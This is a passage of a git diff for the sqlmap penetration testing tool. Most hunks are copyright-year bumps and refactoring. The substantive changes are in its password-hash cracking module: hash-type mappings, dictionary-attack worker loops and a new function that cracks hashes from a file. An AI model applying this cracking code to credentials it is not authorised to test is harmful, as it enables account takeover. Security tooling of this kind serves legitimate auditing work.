HASH.VBULLETIN_OLD: vbulletin_passwd, - HASH.SSHA: ssha_passwd, - HASH.SSHA256: ssha256_passwd, - HASH.SSHA512: ssha512_passwd, - HASH.MD5_BASE64: md5_generic_passwd, - HASH.SHA1_BASE64: sha1_generic_passwd, - HASH.SHA256_BASE64: sha256_generic_passwd, - HASH.SHA512_BASE64: sha512_generic_passwd, - } + HASH.MYSQL: mysql_passwd, + HASH.MYSQL_OLD: mysql_old_passwd, + HASH.POSTGRES: postgres_passwd, + HASH.MSSQL: mssql_passwd, + HASH.MSSQL_OLD: mssql_old_passwd, + HASH.MSSQL_NEW: mssql_new_passwd, + HASH.ORACLE: oracle_passwd, + HASH.ORACLE_OLD: oracle_old_passwd, + HASH.MD5_GENERIC: md5_generic_passwd, + HASH.SHA1_GENERIC: sha1_generic_passwd, + HASH.SHA224_GENERIC: sha224_generic_passwd, + HASH.SHA256_GENERIC: sha256_generic_passwd, + HASH.SHA384_GENERIC: sha384_generic_passwd, + HASH.SHA512_GENERIC: sha512_generic_passwd, + HASH.CRYPT_GENERIC: crypt_generic_passwd, + HASH.JOOMLA: joomla_passwd, + HASH.DJANGO_MD5: django_md5_passwd, + HASH.DJANGO_SHA1: django_sha1_passwd, + HASH.WORDPRESS: wordpress_passwd, + HASH.APACHE_MD5_CRYPT: unix_md5_passwd, + HASH.UNIX_MD5_CRYPT: unix_md5_passwd, + HASH.APACHE_SHA1: apache_sha1_passwd, + HASH.VBULLETIN: vbulletin_passwd, + HASH.VBULLETIN_OLD: vbulletin_passwd, + HASH.SSHA: ssha_passwd, + HASH.SSHA256: ssha256_passwd, + HASH.SSHA512: ssha512_passwd, + HASH.MD5_BASE64: md5_generic_passwd, + HASH.SHA1_BASE64: sha1_generic_passwd, + HASH.SHA256_BASE64: sha256_generic_passwd, + HASH.SHA512_BASE64: sha512_generic_passwd, +} def storeHashesToFile(attack_dict): if not attack_dict: @@ -620,7 +623,7 @@ def attackDumpedTable(): col_passwords = set() attack_dict = {} - for column in columns: + for column in sorted(columns, key=lambda _: len(_), reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break @@ -682,7 +685,7 @@ def attackDumpedTable(): value = table[column]['values'][i] if value and value.lower() in lut: - table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()])) + table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) def hashRecognition(value): @@ -693,9 +696,7 @@ def hashRecognition(value): if isinstance(value, basestring): for name, regex in getPublicTypeMembers(HASH): # Hashes for Oracle and old MySQL look the same hence these checks - if isOracle and regex == HASH.MYSQL_OLD: - continue - elif isMySQL and regex == HASH.ORACLE_OLD: + if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue elif regex == HASH.CRYPT_GENERIC: if any((value.lower() == value, value.upper() == value)): @@ -712,7 +713,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc count = 0 rotator = 0 - hashes = set([item[0][1] for item in attack_info]) + hashes = set(item[0][1] for item in attack_info) wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) @@ -721,6 +722,8 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc if not attack_info: break + count += 1 + if not isinstance(word, basestring): continue @@ -730,8 +733,6 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc try: current = __functions__[hash_regex](password=word, uppercase=False) - count += 1 - if current in hashes: for item in attack_info[:]: ((user, hash_), _) = item @@ -758,7 +759,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc if rotator >= len(ROTATING_CHARS): rotator = 0 - status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) + status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) @@ -796,7 +797,6 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found if found.value: break - current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) count += 1 if not isinstance(word, basestring): @@ -806,6 +806,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found word = word + suffix try: + current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) + if hash_ == current: if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes word = word.upper() @@ -827,12 +829,14 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: rotator += 1 + if rotator >= len(ROTATING_CHARS): rotator = 0 - status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) + + status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if user and not user.startswith(DUMMY_USER_PREFIX): - status += ' (user: %s)' % user + status += " (user: %s)" % user if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) @@ -900,7 +904,7 @@ def dictionaryAttack(attack_dict): if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): item = [(user, hash_.decode("base64").encode("hex")), {}] - elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1): + elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): item = [(user, hash_), {}] elif hash_regex in (HASH.SSHA,): item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}] @@ -1074,7 +1078,8 @@ def dictionaryAttack(attack_dict): gc.enable() if retVal: - conf.hashDB.beginTransaction() + if conf.hashDB: + conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) @@ -1082,7 +1087,8 @@ def dictionaryAttack(attack_dict): hashDBWrite(hash_, word) results.append(item) - conf.hashDB.endTransaction() + if conf.hashDB: + conf.hashDB.endTransaction() clearConsoleLine() @@ -1167,15 +1173,17 @@ class Value(): if _multiprocessing: gc.enable() - if retVal: - conf.hashDB.beginTransaction() + if retVal and conf.hashDB: + if conf.hashDB: + conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) hashDBWrite(hash_, word) results.append(item) - conf.hashDB.endTransaction() + if conf.hashDB: + conf.hashDB.endTransaction() clearConsoleLine() @@ -1190,3 +1198,17 @@ class Value(): logger.warn(warnMsg) return results + +def crackHashFile(hashFile): + i = 0 + attack_dict = {} + + for line in getFileItems(conf.hashFile): + if ':' in line: + user, hash_ = line.split(':', 1) + attack_dict[user] = [hash_] + else: + attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [line] + i += 1 + + dictionaryAttack(attack_dict) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 8f3c91e35d3..d8206b55661 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -91,8 +91,8 @@ def retrieve(self, key, unserialize=False): raise except sqlite3.DatabaseError, ex: errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) - errMsg += "If the problem persists please rerun with `--flush-session`" - raise SqlmapConnectionException, errMsg + errMsg += "If the problem persists please rerun with '--flush-session'" + raise SqlmapConnectionException(errMsg) else: break @@ -104,7 +104,7 @@ def retrieve(self, key, unserialize=False): except: retVal = None warnMsg = "error occurred while unserializing value for session key '%s'. " % key - warnMsg += "If the problem persists please rerun with `--flush-session`" + warnMsg += "If the problem persists please rerun with '--flush-session'" logger.warn(warnMsg) return retVal diff --git a/lib/utils/htmlentities.py b/lib/utils/htmlentities.py index 361acf54900..a97320ec098 100644 --- a/lib/utils/htmlentities.py +++ b/lib/utils/htmlentities.py @@ -1,263 +1,263 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html htmlEntities = { - 'quot': 34, - 'amp': 38, - 'lt': 60, - 'gt': 62, - 'nbsp': 160, - 'iexcl': 161, - 'cent': 162, - 'pound': 163, - 'curren': 164, - 'yen': 165, - 'brvbar': 166, - 'sect': 167, - 'uml': 168, - 'copy': 169, - 'ordf': 170, - 'laquo': 171, - 'not': 172, - 'shy': 173, - 'reg': 174, - 'macr': 175, - 'deg': 176, - 'plusmn': 177, - 'sup2': 178, - 'sup3': 179, - 'acute': 180, - 'micro': 181, - 'para': 182, - 'middot': 183, - 'cedil': 184, - 'sup1': 185, - 'ordm': 186, - 'raquo': 187, - 'frac14': 188, - 'frac12': 189, - 'frac34': 190, - 'iquest': 191, - 'Agrave': 192, - 'Aacute': 193, - 'Acirc': 194, - 'Atilde': 195, - 'Auml': 196, - 'Aring': 197, - 'AElig': 198, - 'Ccedil': 199, - 'Egrave': 200, - 'Eacute': 201, - 'Ecirc': 202, - 'Euml': 203, - 'Igrave': 204, - 'Iacute': 205, - 'Icirc': 206, - 'Iuml': 207, - 'ETH': 208, - 'Ntilde': 209, - 'Ograve': 210, - 'Oacute': 211, - 'Ocirc': 212, - 'Otilde': 213, - 'Ouml': 214, - 'times': 215, - 'Oslash': 216, - 'Ugrave': 217, - 'Uacute': 218, - 'Ucirc': 219, - 'Uuml': 220, - 'Yacute': 221, - 'THORN': 222, - 'szlig': 223, - 'agrave': 224, - 'aacute': 225, - 'acirc': 226, - 'atilde': 227, - 'auml': 228, - 'aring': 229, - 'aelig': 230, - 'ccedil': 231, - 'egrave': 232, - 'eacute': 233, - 'ecirc': 234, - 'euml': 235, - 'igrave': 236, - 'iacute': 237, - 'icirc': 238, - 'iuml': 239, - 'eth': 240, - 'ntilde': 241, - 'ograve': 242, - 'oacute': 243, - 'ocirc': 244, - 'otilde': 245, - 'ouml': 246, - 'divide': 247, - 'oslash': 248, - 'ugrave': 249, - 'uacute': 250, - 'ucirc': 251, - 'uuml': 252, - 'yacute': 253, - 'thorn': 254, - 'yuml': 255, - 'OElig': 338, - 'oelig': 339, - 'Scaron': 352, - 'fnof': 402, - 'scaron': 353, - 'Yuml': 376, - 'circ': 710, - 'tilde': 732, - 'Alpha': 913, - 'Beta': 914, - 'Gamma': 915, - 'Delta': 916, - 'Epsilon': 917, - 'Zeta': 918, - 'Eta': 919, - 'Theta': 920, - 'Iota': 921, - 'Kappa': 922, - 'Lambda': 923, - 'Mu': 924, - 'Nu': 925, - 'Xi': 926, - 'Omicron': 927, - 'Pi': 928, - 'Rho': 929, - 'Sigma': 931, - 'Tau': 932, - 'Upsilon': 933, - 'Phi': 934, - 'Chi': 935, - 'Psi': 936, - 'Omega': 937, - 'alpha': 945, - 'beta': 946, - 'gamma': 947, - 'delta': 948, - 'epsilon': 949, - 'zeta': 950, - 'eta': 951, - 'theta': 952, - 'iota': 953, - 'kappa': 954, - 'lambda': 955, - 'mu': 956, - 'nu': 957, - 'xi': 958, - 'omicron': 959, - 'pi': 960, - 'rho': 961, - 'sigmaf': 962, - 'sigma': 963, - 'tau': 964, - 'upsilon': 965, - 'phi': 966, - 'chi': 967, - 'psi': 968, - 'omega': 969, - 'thetasym': 977, - 'upsih': 978, - 'piv': 982, - 'bull': 8226, - 'hellip': 8230, - 'prime': 8242, - 'Prime': 8243, - 'oline': 8254, - 'frasl': 8260, - 'ensp': 8194, - 'emsp': 8195, - 'thinsp': 8201, - 'zwnj': 8204, - 'zwj': 8205, - 'lrm': 8206, - 'rlm': 8207, - 'ndash': 8211, - 'mdash': 8212, - 'lsquo': 8216, - 'rsquo': 8217, - 'sbquo': 8218, - 'ldquo': 8220, - 'rdquo': 8221, - 'bdquo': 8222, - 'dagger': 8224, - 'Dagger': 8225, - 'permil': 8240, - 'lsaquo': 8249, - 'rsaquo': 8250, - 'euro': 8364, - 'weierp': 8472, - 'image': 8465, - 'real': 8476, - 'trade': 8482, - 'alefsym': 8501, - 'larr': 8592, - 'uarr': 8593, - 'rarr': 8594, - 'darr': 8595, - 'harr': 8596, - 'crarr': 8629, - 'lArr': 8656, - 'uArr': 8657, - 'rArr': 8658, - 'dArr': 8659, - 'hArr': 8660, - 'forall': 8704, - 'part': 8706, - 'exist': 8707, - 'empty': 8709, - 'nabla': 8711, - 'isin': 8712, - 'notin': 8713, - 'ni': 8715, - 'prod': 8719, - 'sum': 8721, - 'minus': 8722, - 'lowast': 8727, - 'radic': 8730, - 'prop': 8733, - 'infin': 8734, - 'ang': 8736, - 'and': 8743, - 'or': 8744, - 'cap': 8745, - 'cup': 8746, - 'int': 8747, - 'there4': 8756, - 'sim': 8764, - 'cong': 8773, - 'asymp': 8776, - 'ne': 8800, - 'equiv': 8801, - 'le': 8804, - 'ge': 8805, - 'sub': 8834, - 'sup': 8835, - 'nsub': 8836, - 'sube': 8838, - 'supe': 8839, - 'oplus': 8853, - 'otimes': 8855, - 'perp': 8869, - 'sdot': 8901, - 'lceil': 8968, - 'rceil': 8969, - 'lfloor': 8970, - 'rfloor': 8971, - 'lang': 9001, - 'rang': 9002, - 'loz': 9674, - 'spades': 9824, - 'clubs': 9827, - 'hearts': 9829, - 'diams': 9830, + "quot": 34, + "amp": 38, + "lt": 60, + "gt": 62, + "nbsp": 160, + "iexcl": 161, + "cent": 162, + "pound": 163, + "curren": 164, + "yen": 165, + "brvbar": 166, + "sect": 167, + "uml": 168, + "copy": 169, + "ordf": 170, + "laquo": 171, + "not": 172, + "shy": 173, + "reg": 174, + "macr": 175, + "deg": 176, + "plusmn": 177, + "sup2": 178, + "sup3": 179, + "acute": 180, + "micro": 181, + "para": 182, + "middot": 183, + "cedil": 184, + "sup1": 185, + "ordm": 186, + "raquo": 187, + "frac14": 188, + "frac12": 189, + "frac34": 190, + "iquest": 191, + "Agrave": 192, + "Aacute": 193, + "Acirc": 194, + "Atilde": 195, + "Auml": 196, + "Aring": 197, + "AElig": 198, + "Ccedil": 199, + "Egrave": 200, + "Eacute": 201, + "Ecirc": 202, + "Euml": 203, + "Igrave": 204, + "Iacute": 205, + "Icirc": 206, + "Iuml": 207, + "ETH": 208, + "Ntilde": 209, + "Ograve": 210, + "Oacute": 211, + "Ocirc": 212, + "Otilde": 213, + "Ouml": 214, + "times": 215, + "Oslash": 216, + "Ugrave": 217, + "Uacute": 218, + "Ucirc": 219, + "Uuml": 220, + "Yacute": 221, + "THORN": 222, + "szlig": 223, + "agrave": 224, + "aacute": 225, + "acirc": 226, + "atilde": 227, + "auml": 228, + "aring": 229, + "aelig": 230, + "ccedil": 231, + "egrave": 232, + "eacute": 233, + "ecirc": 234, + "euml": 235, + "igrave": 236, + "iacute": 237, + "icirc": 238, + "iuml": 239, + "eth": 240, + "ntilde": 241, + "ograve": 242, + "oacute": 243, + "ocirc": 244, + "otilde": 245, + "ouml": 246, + "divide": 247, + "oslash": 248, + "ugrave": 249, + "uacute": 250, + "ucirc": 251, + "uuml": 252, + "yacute": 253, + "thorn": 254, + "yuml": 255, + "OElig": 338, + "oelig": 339, + "Scaron": 352, + "fnof": 402, + "scaron": 353, + "Yuml": 376, + "circ": 710, + "tilde": 732, + "Alpha": 913, + "Beta": 914, + "Gamma": 915, + "Delta": 916, + "Epsilon": 917, + "Zeta": 918, + "Eta": 919, + "Theta": 920, + "Iota": 921, + "Kappa": 922, + "Lambda": 923, + "Mu": 924, + "Nu": 925, + "Xi": 926, + "Omicron": 927, + "Pi": 928, + "Rho": 929, + "Sigma": 931, + "Tau": 932, + "Upsilon": 933, + "Phi": 934, + "Chi": 935, + "Psi": 936, + "Omega": 937, + "alpha": 945, + "beta": 946, + "gamma": 947, + "delta": 948, + "epsilon": 949, + "zeta": 950, + "eta": 951, + "theta": 952, + "iota": 953, + "kappa": 954, + "lambda": 955, + "mu": 956, + "nu": 957, + "xi": 958, + "omicron": 959, + "pi": 960, + "rho": 961, + "sigmaf": 962, + "sigma": 963, + "tau": 964, + "upsilon": 965, + "phi": 966, + "chi": 967, + "psi": 968, + "omega": 969, + "thetasym": 977, + "upsih": 978, + "piv": 982, + "bull": 8226, + "hellip": 8230, + "prime": 8242, + "Prime": 8243, + "oline": 8254, + "frasl": 8260, + "ensp": 8194, + "emsp": 8195, + "thinsp": 8201, + "zwnj": 8204, + "zwj": 8205, + "lrm": 8206, + "rlm": 8207, + "ndash": 8211, + "mdash": 8212, + "lsquo": 8216, + "rsquo": 8217, + "sbquo": 8218, + "ldquo": 8220, + "rdquo": 8221, + "bdquo": 8222, + "dagger": 8224, + "Dagger": 8225, + "permil": 8240, + "lsaquo": 8249, + "rsaquo": 8250, + "euro": 8364, + "weierp": 8472, + "image": 8465, + "real": 8476, + "trade": 8482, + "alefsym": 8501, + "larr": 8592, + "uarr": 8593, + "rarr": 8594, + "darr": 8595, + "harr": 8596, + "crarr": 8629, + "lArr": 8656, + "uArr": 8657, + "rArr": 8658, + "dArr": 8659, + "hArr": 8660, + "forall": 8704, + "part": 8706, + "exist": 8707, + "empty": 8709, + "nabla": 8711, + "isin": 8712, + "notin": 8713, + "ni": 8715, + "prod": 8719, + "sum": 8721, + "minus": 8722, + "lowast": 8727, + "radic": 8730, + "prop": 8733, + "infin": 8734, + "ang": 8736, + "and": 8743, + "or": 8744, + "cap": 8745, + "cup": 8746, + "int": 8747, + "there4": 8756, + "sim": 8764, + "cong": 8773, + "asymp": 8776, + "ne": 8800, + "equiv": 8801, + "le": 8804, + "ge": 8805, + "sub": 8834, + "sup": 8835, + "nsub": 8836, + "sube": 8838, + "supe": 8839, + "oplus": 8853, + "otimes": 8855, + "perp": 8869, + "sdot": 8901, + "lceil": 8968, + "rceil": 8969, + "lfloor": 8970, + "rfloor": 8971, + "lang": 9001, + "rang": 9002, + "loz": 9674, + "spades": 9824, + "clubs": 9827, + "hearts": 9829, + "diams": 9830, } diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 231214cae86..8849cbfcda3 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -11,6 +11,7 @@ from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend +from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue @@ -31,7 +32,7 @@ from lib.core.unescaper import unescaper from lib.request import inject -def pivotDumpTable(table, colList, count=None, blind=True): +def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths = {} entries = {} @@ -88,7 +89,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): if not validPivotValue: for column in colList: infoMsg = "fetching number of distinct " - infoMsg += "values for column '%s'" % column + infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "") logger.info(infoMsg) query = dumpNode.count2 % (column, table) @@ -99,7 +100,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): validColumnList = True if value == count: - infoMsg = "using column '%s' as a pivot " % column + infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "") infoMsg += "for retrieving row data" logger.info(infoMsg) @@ -174,10 +175,10 @@ def _(column, pivotValue): warnMsg += "will display partial output" logger.warn(warnMsg) - except SqlmapConnectionException, e: - errMsg = "connection exception detected. sqlmap " + except SqlmapConnectionException, ex: + errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex) errMsg += "will display partial output" - errMsg += "'%s'" % e + logger.critical(errMsg) return entries, lengths diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 4d7c023a4cf..785f0d4d49d 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import time + from lib.core.common import getUnicode from lib.core.common import dataToStdout from lib.core.data import conf @@ -17,13 +19,12 @@ class ProgressBar(object): def __init__(self, minValue=0, maxValue=10, totalWidth=None): self._progBar = "[]" - self._oldProgBar = "" self._min = int(minValue) self._max = int(maxValue) self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 - self._times = [] + self._start = None self.update() def _convertSeconds(self, value): @@ -52,7 +53,7 @@ def update(self, newAmount=0): percentDone = min(100, int(percentDone)) # Figure out how many hash bars the percentage should be - allFull = self._width - len("100%% [] %s/%s ETA 00:00" % (self._max, self._max)) + allFull = self._width - len("100%% [] %s/%s (ETA 00:00)" % (self._max, self._max)) numHashes = (percentDone / 100.0) * allFull numHashes = int(round(numHashes)) @@ -62,26 +63,24 @@ def update(self, newAmount=0): elif numHashes == allFull: self._progBar = "[%s]" % ("=" * allFull) else: - self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), - " " * (allFull - numHashes)) + self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes)) # Add the percentage at the beginning of the progress bar percentString = getUnicode(percentDone) + "%" self._progBar = "%s %s" % (percentString, self._progBar) - def progress(self, deltaTime, newAmount): + def progress(self, newAmount): """ This method saves item delta time and shows updated progress bar with calculated eta """ - if len(self._times) <= ((self._max * 3) / 100) or newAmount > self._max: + if self._start is None or newAmount > self._max: + self._start = time.time() eta = None else: - midTime = sum(self._times) / len(self._times) - midTimeWithLatest = (midTime + deltaTime) / 2 - eta = midTimeWithLatest * (self._max - newAmount) + delta = time.time() - self._start + eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta - self._times.append(deltaTime) self.update(newAmount) self.draw(eta) @@ -90,15 +89,13 @@ def draw(self, eta=None): This method draws the progress bar if it has changed """ - if self._progBar != self._oldProgBar: - self._oldProgBar = self._progBar - dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" ETA %s" % self._convertSeconds(int(eta))) if eta is not None else "")) - if self._amount >= self._max: - if not conf.liveTest: - dataToStdout("\r%s\r" % (" " * self._width)) - kb.prependFlag = False - else: - dataToStdout("\n") + dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) + if self._amount >= self._max: + if not conf.liveTest: + dataToStdout("\r%s\r" % (" " * self._width)) + kb.prependFlag = False + else: + dataToStdout("\n") def __str__(self): """ diff --git a/lib/utils/purge.py b/lib/utils/purge.py index aab84005807..5604aba670d 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/search.py b/lib/utils/search.py index c660d4aee47..8046c156206 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -20,6 +20,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import REDIRECTION @@ -35,7 +36,6 @@ from lib.request.basic import decodePage from thirdparty.socks import socks - def _search(dork): """ This method performs the effective search on Google providing @@ -165,6 +165,7 @@ def _search(dork): return retVal +@stackedmethod def search(dork): pushValue(kb.redirectChoice) kb.redirectChoice = REDIRECTION.YES @@ -187,5 +188,5 @@ def search(dork): finally: kb.redirectChoice = popValue() -def setHTTPHandlers(): # Cross-linked function +def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 50f3d5cc8aa..8717561f389 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -32,6 +32,7 @@ from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector class SQLAlchemy(GenericConnector): @@ -46,7 +47,7 @@ def connect(self): try: if not self.port and self.db: if not os.path.exists(self.db): - raise SqlmapFilePathException, "the provided database file '%s' does not exist" % self.db + raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db) _ = conf.direct.split("//", 1) conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) @@ -54,7 +55,13 @@ def connect(self): if self.dialect: conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) - engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False} if self.dialect == "sqlite" else {}) + if self.dialect == "sqlite": + engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False}) + elif self.dialect == "oracle": + engine = _sqlalchemy.create_engine(conf.direct) + else: + engine = _sqlalchemy.create_engine(conf.direct, connect_args={}) + self.connector = engine.connect() except (TypeError, ValueError): if "_get_server_version_info" in traceback.format_exc(): @@ -73,6 +80,8 @@ def connect(self): raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % msg[0]) self.printConnected() + else: + raise SqlmapMissingDependence("SQLAlchemy not available") def fetchall(self): try: diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index a50902d9a62..6e585365253 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index ae2a15e118b..7e17f28bc65 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,23 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import sys +import time PYVERSION = sys.version.split()[0] if PYVERSION >= "3" or PYVERSION < "2.6": - exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION) + exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) -extensions = ("gzip", "ssl", "sqlite3", "zlib") -try: - for _ in extensions: +errors = [] +extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib") +for _ in extensions: + try: __import__(_) -except ImportError: - errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions)) + except ImportError: + errors.append(_) + +if errors: + errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in errors)) errMsg += "most likely because current version of Python has been " - errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" - exit(errMsg) \ No newline at end of file + errMsg += "built without appropriate dev packages" + exit(errMsg) diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 34076c7ec77..5cac24310f2 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -49,12 +49,10 @@ def __hash__(self): return hash(self._slice) def __cmp__(self, other): - return (cmp(type(self), type(other)) or - cmp(self._slice, other._slice)) + return (cmp(type(self), type(other)) or cmp(self._slice, other._slice)) def __repr__(self): - return '%s(%r, %r, %r)' % (type(self).__name__, - self.start, self.stop, self.step) + return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step) def __len__(self): return self._len() @@ -69,7 +67,7 @@ def __getitem__(self, index): if isinstance(index, slice): start, stop, step = index.indices(self._len()) return xrange(self._index(start), - self._index(stop), step*self.step) + self._index(stop), step * self.step) elif isinstance(index, (int, long)): if index < 0: fixed_index = index + self._len() diff --git a/plugins/__init__.py b/plugins/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers 